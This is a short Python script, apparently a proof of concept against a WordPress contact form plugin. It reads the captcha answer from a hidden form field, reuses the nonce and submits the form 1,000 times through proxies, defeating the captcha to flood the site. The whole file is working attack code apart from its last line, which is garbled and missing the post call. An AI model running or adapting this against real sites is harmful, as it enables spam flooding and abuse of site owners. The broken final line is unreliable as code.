import requests
from requests_html import HTMLSession
from bs4 import BeautifulSoup
#usage: python3

#this is the url of a WP page that has implemented the form of the plugin.
url = ""
proxies = {"http": "", "https": ""}

#This functions extracts the value of the captcha challenge by providing the id
def extract_value(response, id):
	soup = BeautifulSoup(response, 'html.parser')
	tag = soup.find('input', attrs={'id': id})
	extracted = tag.get('value')
	return extracted

for i in range(1, 1001):
	s = requests.Session()
	first = s.get(url, proxies=proxies)
	captcha = extract_value(first.text, 'vscf_captcha_hidden_one')
	nonce = extract_value(first.text, 'vscf_nonce')
	data_post = {'vscf_name':'AAA',
            'vscf_subject': 'aaaaa',
            'vscf_captcha': captcha,
            'vscf_captcha_hidden_one': captcha,
            'vscf_firstname': '',
            'vscf_message': 'ssssssssssssssssssssssssssssssssssssssssssss',
            'vscf_nonce': nonce, #80abc23916
            'vscf_send': ''}
	submit =, data=data_post, proxies=proxies)